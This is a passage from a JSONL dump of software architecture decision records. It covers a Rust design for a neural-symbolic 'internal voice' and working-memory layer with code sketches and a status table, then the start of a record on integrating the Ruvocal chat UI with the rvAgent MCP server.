\u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 INTERNAL VOICE LAYER \u2502\n\u2502 Working Memory \u2022 Attention \u2022 Narration \u2022 Deliberation \u2502\n\u2502 \u25b2 \u2502\n\u2502 \u2502 Binding \u2502\n\u2502 \u25bc \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 NEURAL LAYER \u2502\n\u2502 Embeddings \u2022 SONA \u2022 Hopfield \u2022 HDC \u2022 Attractors \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n## 3. Architecture\n\n### 3.1 Neural-Symbolic Bridge\n\nThe bridge extracts symbolic structure from neural representations:\n\n```rust\n/// Symbolic proposition grounded in embedding space\npub struct GroundedProposition {\n /// Human-readable rule\n pub predicate: String,\n /// Arguments (entity references)\n pub arguments: Vec<String>,\n /// Embedding centroid for this proposition\n pub centroid: Vec<f32>,\n /// Confidence from neural evidence\n pub confidence: f64,\n /// Supporting memory IDs\n pub evidence: Vec<Uuid>,\n}\n\n/// Neural-symbolic reasoning engine\npub struct NeuralSymbolicBridge {\n /// Extracted rules from patterns\n propositions: Vec<GroundedProposition>,\n /// Inverse index: embedding \u2192 propositions\n grounding_index: HnswIndex,\n /// Symbolic reasoner (horn clauses)\n reasoner: DatalogEngine,\n}\n\nimpl NeuralSymbolicBridge {\n /// Extract propositions from memory clusters\n pub fn extract_propositions(&mut self, memories: &[BrainMemory]) {\n // 1. Cluster memories by embedding similarity\n // 2. Extract common patterns via attention\n // 3. Generate predicate templates\n // 4. Ground predicates with centroid embeddings\n }\n\n /// Query with neural-symbolic reasoning\n pub fn reason(&self, query: &str, query_embedding: &[f32]) -> Vec<Inference> {\n // 1. Find relevant propositions via embedding similarity\n // 2. Run forward chaining on Datalog rules\n // 3. Return inferences with neural confidence\n }\n}\n```\n\n### 3.2 Internal Voice System\n\nThe internal voice provides continuous self-narration:\n\n```rust\n/// Internal monologue token\n#[derive(Debug, Clone, Serialize)]\npub struct VoiceToken {\n pub timestamp: DateTime<Utc>,\n pub thought_type: ThoughtType,\n pub content: String,\n pub attention_weight: f64,\n pub source: ThoughtSource,\n}\n\n#[derive(Debug, Clone, Serialize)]\npub enum ThoughtType {\n Observation, // \"I notice that...\"\n Question, // \"I wonder if...\"\n Hypothesis, // \"Perhaps...\"\n Conclusion, // \"Therefore...\"\n Goal, // \"I should...\"\n Reflection, // \"Looking back...\"\n Uncertainty, // \"I'm not sure...\"\n Conflict, // \"But on the other hand...\"\n}\n\n#[derive(Debug, Clone, Serialize)]\npub enum ThoughtSource {\n Perception(Uuid), // From memory retrieval\n Reasoning(String), // From inference\n MetaCognition, // From Strange Loop\n GoalDirected(String), // From planner\n}\n\n/// Internal voice engine\npub struct InternalVoice {\n /// Working memory buffer (limited capacity)\n working_memory: VecDeque<VoiceToken>,\n /// Attention mechanism\n attention: SoftmaxAttention,\n /// Current goal stack\n goals: Vec<GoalFrame>,\n /// Narration generator\n narrator: NarrationEngine,\n /// Configuration\n config: VoiceConfig,\n}\n\npub struct VoiceConfig {\n /// Working memory capacity (default: 7\u00b12 items)\n pub working_memory_size: usize,\n /// Thought generation rate (tokens per second)\n pub thought_rate: f64,\n /// Verbosity level (0.0 = silent, 1.0 = verbose)\n pub verbosity: f64,\n /// Enable meta-cognitive reflection\n pub enable_reflection: bool,\n /// Maximum deliberation depth\n pub max_deliberation_depth: usize,\n}\n\nimpl InternalVoice {\n /// Generate next thought based on current context\n pub fn think(&mut self, context: &CognitiveContext) -> Option<VoiceToken> {\n // 1. Attend to working memory\n let attended = self.attention.attend(&self.working_memory);\n\n // 2. Check for goal-relevant thoughts\n if let Some(goal) = self.goals.last() {\n if let Some(thought) = self.deliberate(goal, &attended) {\n return Some(thought);\n }\n }\n\n // 3. Generate observation or reflection\n self.narrator.generate(context, &attended)\n }\n\n /// Push a new goal frame\n pub fn set_goal(&mut self, goal: String, priority: f64) {\n self.goals.push(GoalFrame {\n description: goal,\n priority,\n created_at: Utc::now(),\n subgoals: vec![],\n });\n self.emit(ThoughtType::Goal, format!(\"I should {}\", goal));\n }\n\n /// Deliberate on current goal\n fn deliberate(&mut self, goal: &GoalFrame, context: &[VoiceToken]) -> Option<VoiceToken> {\n // Hypothesis generation\n let hypotheses = self.generate_hypotheses(goal, context);\n\n // Evidence evaluation\n for h in hypotheses {\n let evidence = self.evaluate_hypothesis(&h);\n if evidence.confidence > 0.7 {\n return Some(self.emit(ThoughtType::Conclusion, h.conclusion));\n } else if evidence.conflicts.len() > 0 {\n return Some(self.emit(ThoughtType::Conflict, evidence.summary()));\n }\n }\n\n // Uncertainty acknowledgment\n if self.config.verbosity > 0.5 {\n Some(self.emit(ThoughtType::Uncertainty, \"I need more information...\"))\n } else {\n None\n }\n }\n\n /// Emit internal voice token\n fn emit(&mut self, thought_type: ThoughtType, content: String) -> VoiceToken {\n let token = VoiceToken {\n timestamp: Utc::now(),\n thought_type,\n content,\n attention_weight: 1.0,\n source: ThoughtSource::MetaCognition,\n };\n self.working_memory.push_back(token.clone());\n if self.working_memory.len() > self.config.working_memory_size {\n self.working_memory.pop_front();\n }\n token\n }\n}\n```\n\n### 3.3 Working Memory Integration\n\nWorking memory bridges perception, reasoning, and action:\n\n```rust\n/// Working memory item with decay\npub struct WorkingMemoryItem {\n pub content: Box<dyn CognitiveContent>,\n pub activation: f64,\n pub last_accessed: DateTime<Utc>,\n pub source: ContentSource,\n}\n\n/// Working memory with attention and decay\npub struct WorkingMemory {\n items: Vec<WorkingMemoryItem>,\n capacity: usize,\n decay_rate: f64,\n attention: TransformerAttention,\n}\n\nimpl WorkingMemory {\n /// Add item with automatic capacity management\n pub fn add(&mut self, content: impl CognitiveContent, source: ContentSource) {\n // Apply decay to existing items\n self.apply_decay();\n\n // Compute attention weights\n let weights = self.attention.compute_weights(&self.items, &content);\n\n // If at capacity, remove lowest activation item\n if self.items.len() >= self.capacity {\n self.evict_lowest();\n }\n\n self.items.push(WorkingMemoryItem {\n content: Box::new(content),\n activation: 1.0,\n last_accessed: Utc::now(),\n source,\n });\n }\n\n /// Retrieve with attention boost\n pub fn retrieve(&mut self, query: &[f32]) -> Vec<&WorkingMemoryItem> {\n let similarities = self.items.iter()\n .map(|item| cosine_similarity(query, item.content.embedding()))\n .collect::<Vec<_>>();\n\n // Boost activation of retrieved items\n for (i, sim) in similarities.iter().enumerate() {\n if *sim > 0.5 {\n self.items[i].activation = (self.items[i].activation + *sim).min(1.0);\n self.items[i].last_accessed = Utc::now();\n }\n }\n\n // Return top-k by similarity \u00d7 activation\n let mut scored: Vec<_> = self.items.iter()\n .zip(similarities.iter())\n .map(|(item, sim)| (item, sim * item.activation))\n .collect();\n scored.sort_by(|a, b| b.1.partial_cmp(&a.1).unwrap());\n scored.into_iter().take(5).map(|(item, _)| item).collect()\n }\n}\n```\n\n### 3.4 Training Loop Enhancements\n\nEnhanced training with neural-symbolic feedback:\n\n```rust\n/// Enhanced training cycle with neural-symbolic learning\npub fn run_enhanced_training_cycle(state: &AppState) -> EnhancedTrainingResult {\n // 1. SONA trajectory learning (existing)\n let sona_result = state.sona.write().force_learn();\n\n // 2. Neural-symbolic rule extraction (new)\n let memories: Vec<_> = state.store.all_memories();\n let propositions = state.neural_symbolic.write().extract_propositions(&memories);\n\n // 3. Internal voice reflection (new)\n let voice_summary = state.internal_voice.write().reflect_on_learning(&sona_result);\n\n // 4. Meta-cognitive Strange Loop evaluation (enhanced)\n let meta_result = state.strange_loop.write().run_with_voice(&voice_summary);\n\n // 5. Update working memory with learned patterns\n for prop in &propositions {\n state.working_memory.write().add(prop.clone(), ContentSource::Learning);\n }\n\n // 6. Domain evolution (existing)\n let pareto_before = state.domain.read().pareto_size();\n state.domain.write().evolve_population(10, 3);\n let pareto_after = state.domain.read().pareto_size();\n\n EnhancedTrainingResult {\n sona_patterns: state.sona.read().stats().patterns_stored,\n propositions_extracted: propositions.len(),\n voice_thoughts: voice_summary.len(),\n meta_convergence: meta_result.convergence_score,\n working_memory_load: state.working_memory.read().utilization(),\n pareto_before,\n pareto_after,\n }\n}\n```\n\n### 3.5 API Extensions\n\nNew endpoints for the cognitive layer:\n\n```\n# Neural-Symbolic\nPOST /v1/reason # Run neural-symbolic inference\nGET /v1/propositions # List extracted propositions\nPOST /v1/ground # Ground a new proposition\n\n# Internal Voice\nGET /v1/voice/stream # SSE stream of internal thoughts\nGET /v1/voice/working # Current working memory contents\nPOST /v1/voice/goal # Set a deliberation goal\nGET /v1/voice/history # Recent thought history\n\n# Enhanced Status\nGET /v1/cognitive/status # Full cognitive system status\n```\n\n## 4. Implementation Status\n\n**Last Updated:** 2026-03-15\n\n| Component | Status | Location | Notes |\n|-----------|--------|----------|-------|\n| **voice.rs** | \u2705 Implemented | `crates/mcp-brain-server/src/voice.rs` | ThoughtType, ThoughtSource, VoiceToken |\n| **symbolic.rs** | \u2705 Implemented | `crates/mcp-brain-server/src/symbolic.rs` | GroundedProposition, NeuralSymbolicBridge |\n| **optimizer.rs** | \u2705 Implemented | `crates/mcp-brain-server/src/optimizer.rs` | Training optimization |\n| Working Memory | \ud83d\udd04 Partial | `voice.rs` | VecDeque-based, needs attention |\n| Internal Voice API | \u274c Missing | - | SSE endpoints not exposed |\n| Symbolic Reasoning API | \u274c Missing | - | REST endpoints not exposed |\n| Training Loop Integration | \u274c Missing | - | Not wired to nightly learner |\n\n### Implementation Progress\n\n| Phase | Component | Effort | Priority | Status |\n|-------|-----------|--------|----------|--------|\n| 1 | Working Memory module | 4 hrs | High | \u2705 DONE (basic) |\n| 2 | Internal Voice core | 6 hrs | High | \u2705 DONE |\n| 3 | Neural-Symbolic Bridge | 8 hrs | High | \u2705 DONE |\n| 4 | Training loop integration | 4 hrs | Medium | \u274c TODO |\n| 5 | API endpoints | 4 hrs | Medium | \u274c TODO |\n| 6 | SSE streaming for voice | 2 hrs | Low | \u274c TODO |\n| 7 | Deliberation planner | 6 hrs | Low | \u274c TODO |\n\n**Completed: ~18 hours | Remaining: ~16 hours**\n\n### Files Implemented\n\n```\ncrates/mcp-brain-server/src/\n\u251c\u2500\u2500 voice.rs # ThoughtType, ThoughtSource, VoiceToken, InternalVoice\n\u251c\u2500\u2500 symbolic.rs # GroundedProposition, NeuralSymbolicBridge, DatalogRule\n\u2514\u2500\u2500 optimizer.rs # TrainingOptimizer, BatchScheduler\n```\n\n### Next Steps\n\n1. **Expose API endpoints** for `/v1/voice/*` and `/v1/reason`\n2. **Wire to cognitive.rs** for Strange Loop integration\n3. **Add SSE streaming** for real-time voice output\n4. **Integrate with RuVocal UI** for visualization\n\n## 5. Integration with Existing Systems\n\n### 5.1 SONA Integration\n\n```rust\nimpl SonaEngine {\n /// Extract symbolic propositions from learned patterns\n pub fn to_propositions(&self) -> Vec<GroundedProposition> {\n self.patterns.iter()\n .filter(|p| p.confidence > 0.7)\n .map(|p| GroundedProposition {\n predicate: self.pattern_to_predicate(p),\n arguments: self.extract_entities(p),\n centroid: p.centroid.clone(),\n confidence: p.confidence,\n evidence: p.source_memories.clone(),\n })\n .collect()\n }\n}\n```\n\n### 5.2 Strange Loop Integration\n\n```rust\nimpl StrangeLoop {\n /// Run with internal voice context\n pub fn run_with_voice(&mut self, voice: &InternalVoice) -> LoopResult {\n // Include voice's working memory in context\n let mut ctx = self.context.clone();\n for token in voice.working_memory.iter() {\n ctx.insert(token.content.clone(), token.attention_weight);\n }\n self.run(&mut ctx)\n }\n}\n```\n\n### 5.3 Hopfield Integration\n\n```rust\nimpl CognitiveEngine {\n /// Store with symbolic grounding\n pub fn store_grounded(&mut self, id: &str, embedding: &[f32], proposition: &GroundedProposition) {\n self.store_pattern(id, embedding);\n self.grounding_map.insert(id.to_string(), proposition.clone());\n }\n\n /// Recall with symbolic interpretation\n pub fn recall_symbolic(&self, query: &[f32]) -> Option<(Vec<f32>, GroundedProposition)> {\n let recalled = self.recall(query)?;\n let prop = self.grounding_map.get(&self.nearest_id(&recalled))?;\n Some((recalled, prop.clone()))\n }\n}\n```\n\n## 6. Monitoring and Observability\n\n### 6.1 Cognitive Metrics\n\n```rust\npub struct CognitiveMetrics {\n // Neural layer\n pub hopfield_patterns: usize,\n pub sona_trajectories: usize,\n pub embedding_drift: f64,\n\n // Internal voice layer\n pub working_memory_utilization: f64,\n pub thoughts_per_minute: f64,\n pub goal_completion_rate: f64,\n pub deliberation_depth_avg: f64,\n\n // Symbolic layer\n pub propositions_count: usize,\n pub inference_success_rate: f64,\n pub rule_coverage: f64,\n}\n```\n\n### 6.2 Voice Telemetry\n\nStream internal voice to logs for debugging:\n```rust\nif config.enable_voice_telemetry {\n tracing::info!(\n thought_type = ?token.thought_type,\n content = %token.content,\n attention = token.attention_weight,\n \"internal_voice\"\n );\n}\n```\n\n## 7. Consequences\n\n### Positive\n- **Explainability**: Internal voice provides reasoning transparency\n- **Transfer**: Symbolic rules generalize across contexts\n- **Debugging**: Working memory visible for troubleshooting\n- **Composition**: Rules can be combined for complex inferences\n\n### Negative\n- **Complexity**: Three-layer architecture adds cognitive load\n- **Latency**: Symbolic reasoning adds overhead (~10-50ms)\n- **Storage**: Working memory and propositions consume RAM\n\n### Neutral\n- Training frequency may need adjustment for rule extraction\n- Voice verbosity is configurable per deployment\n\n## 8. Future Work\n\n1. **Natural Language Generation**: Generate human-readable explanations from voice\n2. **Causal Reasoning**: Add causal inference to symbolic layer\n3. **Emotional Valence**: Add affect to internal voice\n4. **Multi-Agent Dialogue**: Allow multiple brains to converse via voice\n5. **Dream State**: Consolidate memories during low-activity periods\n\n## 9. References\n\n- [Neuro-Symbolic AI: The 3rd Wave](https://arxiv.org/abs/2012.05876)\n- [Global Workspace Theory](https://en.wikipedia.org/wiki/Global_workspace_theory)\n- [Inner Speech and Metacognition](https://doi.org/10.1016/j.tics.2018.12.001)\n- [ACT-R Cognitive Architecture](http://act-r.psy.cmu.edu/)\n- [Soar Cognitive Architecture](https://soar.eecs.umich.edu/)", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-110-neural-symbolic-internal-voice.md", "created_at": "2026-03-28T11:58:49.944546+00:00", "content_hash": "6816e0f44f163ff18e807355c5b0db6a4d965d49d643068a9b624b1173b0913d"} +{"id": "91897da8-a65c-4d4d-b282-d76821bc6e78", "source": "adr", "text": "# ADR-111: Ruvocal UI Integration with rvAgent\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | In Progress |\n| **Date** | 2026-03-15 |\n| **Updated** | 2026-03-15 |\n| **Authors** | ruvnet |\n| **Series** | ADR-093 (DeepAgents), ADR-104 (MCP Skills), ADR-108 (ruvbot) |\n| **Related** | ADR-106 (RuViX Kernel), ADR-105 (MCP Implementation) |\n| **Source** | https://github.com/ruvnet/ruflo/tree/main/ruflo/src/ruvocal |\n\n## Context\n\nThe RuVector ecosystem requires a modern, production-ready chat interface for interacting with rvAgent. **Ruvocal** (from the ruflo project) is a SvelteKit-based chat UI originally designed for HuggingChat that provides:\n\n1. **Modern Chat Interface**: Real-time streaming, markdown rendering, code highlighting\n2. **Multi-Model Support**: OpenAI-compatible API abstraction\n3. **MCP Bridge**: Existing Model Context Protocol integration for tool calling\n4. **Conversation Management**: Persistent chat history with MongoDB\n5. **Theming System**: Customizable branding and appearance\n6. **LLM Router**: Intelligent model selection (Arch-Router-1.5B)\n\n### Why Ruvocal?\n\n| Feature | Ruvocal | Build from Scratch |\n|---------|---------|-------------------|\n| Development Time | Days (fork + adapt) | Weeks |\n| Chat UI Components | Complete | Build all |\n| Streaming Support | Built-in | Implement SSE/WS |\n| MCP Integration | Has mcp-bridge | Build from spec |\n| Mobile Responsive | Yes | Design + build |\n| Dark Mode | Yes | Implement |\n| Code Highlighting | Shiki/Prism | Choose + integrate |\n| Message History | MongoDB | Design schema |\n\n### Current rvAgent Architecture\n\n```\nrvAgent Crates:\n\u251c\u2500\u2500 rvagent-core # State, config, witness\n\u251c\u2500\u2500 rvagent-tools # Tool definitions, registry\n\u251c\u2500\u2500 rvagent-middleware # 9-layer pipeline\n\u251c\u2500\u2500 rvagent-backends # Filesystem, sandbox\n\u251c\u2500\u2500 rvagent-subagents # Orchestration, validation\n\u251c\u2500\u2500 rvagent-mcp # MCP server (ADR-104)\n\u2514\u2500\u2500 rvagent-acp # ACP server\n```\n\nMissing: A production chat UI that connects users to rvAgent's capabilities.\n\n---\n\n## Decision\n\nIntegrate Ruvocal as the official web UI for rvAgent, adapting it to connect to rvAgent's MCP server while preserving its existing features.\n\n### Architecture Overview\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Ruvocal + rvAgent Integration \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Ruvocal (SvelteKit UI) \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\n\u2502 \u2502 \u2502 Chat UI \u2502 \u2502 Sidebar \u2502 \u2502 Settings \u2502 \u2502 Themes \u2502 \u2502 \u2502\n\u2502 \u2502 \u2502 Components \u2502 \u2502 Navigation \u2502 \u2502 Panel \u2502 \u2502 System \u2502 \u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502\n\u2502 \u2502 \u25bc \u2502 \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u2502 \u2502\n\u2502 \u2502 \u2502 APIClient Layer \u2502\u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\u2502 \u2502\n\u2502 \u2502 \u2502 \u2022 OpenAI-compatible endpoints \u2502\u2502 \u2502\n\u2502 \u2502 \u2502 \u2022 Streaming response handling \u2502\u2502 \u2502\n\u2502 \u2502 \u2502 \u2022 Tool call marshaling \u2502\u2502 \u2502\n\u2502 \u2502 \u2502 \u2022 Error recovery \u2502\u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 \u25bc \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 MCP Bridge (ruvocal/mcp-bridge) \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\n\u2502 \u2502 \u2502 stdio-kernel \u2502 \u2502 Tool Router \u2502 \u2502 Result Parser \u2502 \u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 \u25bc MCP Protocol \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 rvAgent MCP Server \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\n\u2502 \u2502 \u2502 Tool Runtime \u2502 \u2502 Witness \u2502 \u2502 Middleware \u2502 \u2502 State \u2502 \u2502 \u2502\n\u2502 \u2502 \u2502 (46 tools) \u2502 \u2502 Chain \u2502 \u2502 Pipeline \u2502 \u2502 Backend \u2502 \u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502\n\u2502 \u25bc \u2502\n\u2502 